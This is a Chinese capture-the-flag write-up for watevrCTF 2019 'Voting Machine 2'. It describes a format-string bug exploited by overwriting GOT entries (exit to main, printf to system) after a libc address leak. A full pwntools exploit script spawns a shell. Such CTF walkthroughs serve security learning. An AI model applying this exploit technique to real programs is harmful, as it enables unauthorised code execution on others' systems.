【PWN · 格式化字符串|劫持GOT表】[watevrCTF 2019]Voting Machine 2]

发布时间:2024年01月18日

劫持GOT表:后门 or getshell

目录

前言

思路

EXP

总结


一、前言

和以往不同的是,格式化字符产参数没有对齐,有两个字节的偏移需要自己填充或者交给fmtstr_payload的参数进行构造。

可以通过后门函数获得flag或者getshell获得flag


二、思路

非预期解

可恶!没有看到后门函数呜呜呜

1.将exit(0)劫持到main以便于重复利用

2.%s泄露got表->libc信息

3.劫持printf为system,构造printf('/bin/sh\x00')

预期解:

?

劫持到后门函数即可


三、EXP

from pwn import *
from pwn import p32
from LibcSearcher import *
context(arch='i386',log_level='debug')

io=process('./pwn')
elf=ELF('./pwn')
# gdb.attach(io)
# input()
exit_got=elf.got['exit']
main=0x84207FB

payload=fmtstr_payload(7,{exit_got:main},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)

printf_got=elf.got['printf']
print(hex(printf_got))
payload=b'aa'+p32(printf_got)+b'cccc'+b'%8$s'+b'cccc'

io.sendlineafter(b'Topic: ',payload)
io.recvuntil(b'cccc')
printf_real=u32(io.recvuntil(b'cccc',drop=True)[:4])

libc=LibcSearcher('printf',printf_real)
libc_base=printf_real-libc.dump('printf')
system=libc_base+libc.dump('system')
payload=fmtstr_payload(7,{printf_got:system},offset_bytes=2)
io.sendlineafter(b'Topic: ',payload)
io.sendline(b'/bin/sh\x00')
io.interactive()


四、总结

存在两个字节的偏移,fmtstr_payload的各个参数含义要好好掌握。

文章来源:https://blog.csdn.net/Mr_Fmnwon/article/details/135666480
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。